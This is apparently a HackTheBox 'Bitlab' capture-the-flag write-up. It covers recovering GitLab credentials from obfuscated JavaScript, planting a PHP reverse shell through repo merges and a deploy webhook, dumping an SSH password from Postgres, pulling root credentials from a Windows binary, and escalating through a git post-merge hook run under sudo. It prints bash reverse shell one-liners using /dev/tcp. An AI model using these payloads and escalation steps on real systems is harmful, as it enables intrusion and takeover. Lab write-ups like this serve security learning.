HackTheBox - Bitlab

11 minute read

Bitlab was an interesting 30 point box created by Frey and thek. It started out with finding and decoding some hex encoded JavaScript to get credentials for a GitLab instance, then taking advantage of two repos with web hooks to get code execution and a shell as www-data. We then dump SSH credentials from a database using PHP and finally do some analysis of a Windows executable to get root credentials and log in to get root.

Alternatively, once you have a shell as www-data you can go straight to root by exploiting Git Hooks using a sudo root privileged git pull.



We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Before checking out port 80, I added the Bitlab domain to my /etc/hosts file:

# cat /etc/hosts       localhost       kali  bitlab.htb

Navigating to http://bitlab.htb redirects you to the following page:

We can see the site is hosting GitLab Community Edition.


The following excerpt from the GitLab about page best summarises its purpose:

GitLab is a complete open-source DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate and build software. From idea to production, GitLab helps teams improve cycle time from weeks to minutes, reduce development process costs and decrease time to market while increasing developer productivity.


After seeing what’s available for us as an end user I clicked upon the Help button at the bottom of the page:

This leads you to the help page Index where a link is shown to http://bitlab.htb/help/bookmarks.html:

Clicking on the link displays the following Bookmarks:

Pressing Ctrl+u shows the source code for the page and we can see the top four links go to where they say they do. The final link however doesn’t go to the GitLab Login as the HREF value points at an obfuscated JavaScript function.

Obfuscated JavaScript

The code from the JavaScript seen in the last section is shown below:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Beautifying the code in beautifier.io presents the code as so:

(function() {
    var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"]; 
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

Entering each hex encoded block into CyberChef with the From Hex option quickly decodes the hexidecimal values. The important values are shown in the table below and we can see the credentials for the user clave:

Hex Plaintext
\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E user_login
\x63\x6C\x61\x76\x65 clave
\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64 user_password
\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78 11des0081x

Another way you could of done this is by entering the variable _0x4b18 into a JavaScript console and printing the contents with console.log shown below:

> var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"]; console.log(_0x4b18) 

(6)[ "value"

The credentials are clave / 11des0081x.

Claves GitLab

The credentials log us in successfully and we’re presented with the following page:


Checking what’s available to the user clave I noticed the Snippets tab at the top of the page. Clicking on it leads you to this page:

Clicking on Postgresql takes you to a 164 byte PHP code snippet:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles"); 
$result = pg_query($db_connection, "SELECT * FROM profiles");

At this point in time the snippet isn’t of much use, I noted this finding and carried on enumerating the GitLab interface.

Profile Repository

In the Administrator / Profile repo there is a file called index.php. It’s a simple web page that clave appears to have developed that states what a Web Developer is.

You can see the page if you navigate to http://bitlab.htb/profile. The page when rendered is shown below:

From this we know that the index.php file is loaded and executed by the server. In theory we’re able to add a PHP reverse shell into the index.php file and go to http://bitlab.htb/profile, which should then execute and send us a reverse shell on our specified port.

With this in mind, I edited the index.php file in the Profile repository so that it contained a PHP pentestmonkey reverse shell with my IP and port number inputted:

Be sure to have the following options selected when you Commit changes:

After committing the changes it will lead you to this page where you will need to create a new merge request to the master branch:

Scroll down and click Submit merge request and finally you’ll get to this page where you want to click the green Merge button:

You will notice now that if you go to http://bitlab.htb/profile you will not receive a reverse shell, as there are a few more steps required for this to work.

Deployer Repository

Like the Profile repo, Deployer contains an index.php file that looks like so:


$input = file_get_contents("php://input"); 
$payload  = json_decode($input); 

$repo = $payload->project->name ?? ''; 
$event = $payload->event_type ?? ''; 
$state = $payload->object_attributes->state ?? ''; 
$branch = $payload->object_attributes->target_branch ?? ''; 

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {     
    echo shell_exec('cd ../profile/; sudo git pull'),"\n"; 

echo "OK\n";

The if statement stands out as it is saying that if the repository is Profile, the branch is master, the event is a merge_request (which we made earlier), and if the state is merged then it executes the command cd ../profile/; sudo git pull.

A basic description of the git pull command is given below from atlassian.com:

The git pull command is used to fetch and download content from a remote repository and immediately update the local repository to match that content.

By happenstance there was also a link to the GitLab Docs for Webhooks in the Deployer repository’s README.md file:

The following excerpt from the Webhooks’ documentation caught my eye:

Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. GitLab will send a POST request with data to the webhook URL.

From this it appeared that we need to execute the index.php script in Deployer so that our new code (PHP reverse shell in the Profile repo) is deployed and will execute when we browse to it in the Profile repository.

Shell Execution

Browsing to http://bitlab.htb/deployer - which executes index.php and performs cd ../profile/; sudo git pull - you’ll receive the OK on screen.

I then browsed to http://bitlab.htb/profile with my netcat listener ready and received a shell as www-data:

Alternative Shell Execution

A simpler way to get a shell is by uploading a PHP reverse shell one-liner into the Profile repository and just going to http://bitlab.htb/profile/shell.php without overwriting or triggering the deploy.

You can use a simple PHP reverse shell one-liner like the following:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");?>

Upload the file to the Profile repository:

Then browse to http://bitlab.htb/profile/shell.php to execute the shell and receive the connection on your netcat listener:

Interactive PHP

Since we now have a shell as www-data I referred back to the PHP code snippet from earlier on in the GitLab interface:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles"); 
$result = pg_query($db_connection, "SELECT * FROM profiles");

We are missing a couple of lines to dump the contents of the $result variable but by referring to the PHP docs for pg_query we see we’re able to use the following syntax (minus the Author: etc.):

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";

I entered a PHP interactive session with php -a and executed the following commands:

www-data@bitlab:/$ php -a
php -a
Interactive mode enabled

php > $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");

php > $result = pg_query($db_connection, "SELECT * FROM profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

php > while ($row = pg_fetch_row($result)) { print_r($row); }
while ($row = pg_fetch_row($result)) { print_r($row); }
    [0] => 1
    [1] => clave
    [2] => c3NoLXN0cjBuZy1wQHNz==
php >

The Base64 encoded string decodes to ssh-str0ng-p@ss but doesn’t work with SSH or when we try to su to clave. I then tried using the Base64 encoded password with su and successfully authenticated as clave:

www-data@bitlab:/$ su clave
su clave
Password: c3NoLXN0cjBuZy1wQHNz==


It’s worth mentioning the Base64 encoded password allows you to login via SSH as well.


As clave we can simply cat the flag and we get user.

clave@bitlab:~$ cat user.txt
cat user.txt



The clave user has a PE32 MS Windows executable in their home directory:

clave@bitlab:~$ file RemoteConnection.exe
file RemoteConnection.exe
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows

I decided to scp the file to my local machine for analysis:

# scp clave@bitlab.htb:/home/clave/RemoteConnection.exe /root/HackTheBox/bitlab/RemoteConnection.exe
clave@bitlab.htb's password: c3NoLXN0cjBuZy1wQHNz==

Binary Analysis

After secure copying the exe from Bitlab to my Kali host, I used wine to run the exe on Kali for analysis with OLLYDBG.EXE.

Before loading the exe with wine and OllyDbg I ran it with no other arguments and got the following response:

# wine RemoteConnection.exe 
Access Denied !!

I then loaded the executable with OLLDBG.EXE and searched for the available strings in the exe like so :

Clicking that leads you to this page and gives us some interesting information:

You can see a call to C:\ProgramFiles\putty.exe, an SSH and Telnet client, and an Access Denied!! string.

The string Access Denied!! was indicative of some sort of string compare between a specific set of credentials and/or what’s expected by the executable for authentication.

The memory address of the Access Denied!! string is 0x401D39. Double-clicking the address in the strings window leads us to it’s location in the CPU - main thread at 0x401D39:

We want to know what’s causing the Access Denied!! message. I set a breakpoint right before the 0x401D39 address at 0x401D38, a PUSH EAX instruction.

The push instruction (followed by a value) in assembly essentially means ‘push/write the value to the stack’. By setting a breakpoint we’re able to see what’s happening right before Access Denied!! is printed to the screen - click the 0x401D38 address and press F2 to set a breakpoint there:


After running the program you’ll notice a set of credentials in the stack window:

The text is shown below:

0033FDDC   00411C58  ASCII "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""

You can clearly see the credentials root / Qf7]8YSV.wDNF*[7d?j&eD4^.


With the root creds you can su and cat the root flag.

clave@bitlab:~$ su root
Password: Qf7]8YSV.wDNF*[7d?j&eD4^
root@bitlab:/home/clave# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/home/clave# cat /root/root.txt

Alternative Root

This method only works with www-data and you can go straight to root.

Sudo Git Pull

Running sudo -l as www-data reveals that we can run sudo git pull as root without supplying a password:

www-data@bitlab:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

To exploit our sudo privileges we’ll be using Git Hooks to obtain code execution.

Git Hooks

The Git documentation for Git Hooks gives a great explanation of their purpose:

Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging

Merging is something we’ve already done to achieve code execution in the GitLab interface, it will also play an important role in exploiting the sudo root git pull.

For more information on Git Hooks I recommend reading the documentation link above.


The original PoC can be found here. It uses a slightly different technique to what we’ll be using but the basic premise is the same. The Exploitation section of this article is more accurate for this particular instance.

As mentioned above, client-side Git Hooks can be triggered by specific operations such as merging. The hooks for a Git repository are stored in the path <RepoName>/.git/hooks/.

The Git Hooks documentation lists some common client-side hooks. The following hook is of interest:

The post-merge hook runs after a successful merge command.

If we were to inject our payload into a post-merge hook in a repository we have access to, make a new merge request to that repo, and then execute sudo git pull, our post-merge hook would be executed with root permissions.

Malicious Profile Repository

To exploit this we need to set up a new Profile repository in /tmp with our payload hook injected:

www-data@bitlab:/$ cd /tmp
www-data@bitlab:/tmp$ mkdir root
www-data@bitlab:/tmp/root$ cd root
www-data@bitlab:/tmp/root$ cp -r /var/www/html/profile/.git /tmp/root/

Then add the following bash reverse shell into /tmp/root/.git/hooks/post-merge:

www-data@bitlab:/tmp/root$ echo '#!/bin/bash' > /tmp/root/.git/hooks/post-merge
www-data@bitlab:/tmp/root$ echo 'bash -i >& /dev/tcp/ 0>&1' >> /tmp/root/.git/hooks/post-merge
www-data@bitlab:/tmp/root$ chmod +x /tmp/root/.git/hooks/post-merge

Check our hook has executable permissions and contains our reverse shell:

www-data@bitlab:/tmp/root/.git/hooks$ ls -la post-merge
ls -la post-merge
-rwxrwxrwx 1 www-data www-data 54 Jan  9 13:58 post-merge
www-data@bitlab:/tmp/root/.git/hooks$ cat post-merge
cat post-merge
bash -i >& /dev/tcp/ 0>&1

Before running the following commands you need to change something in the Profile GitLab repository. I simply added a comment to the PHP reverse shell we uploaded earlier and committed the change via the submit merge request route.

If you don’t make a change and submit a new merge request then you’ll just get the following ‘error’ and not exploit the vulnerability:

www-data@bitlab:/tmp/root$ sudo git pull
sudo git pull
Already up to date.

With the change made you can then run sudo git pull from /tmp/root and the post-merge hook will execute successfully.

Have a netcat listener ready beforehand and you’ll receive a root reverse shell: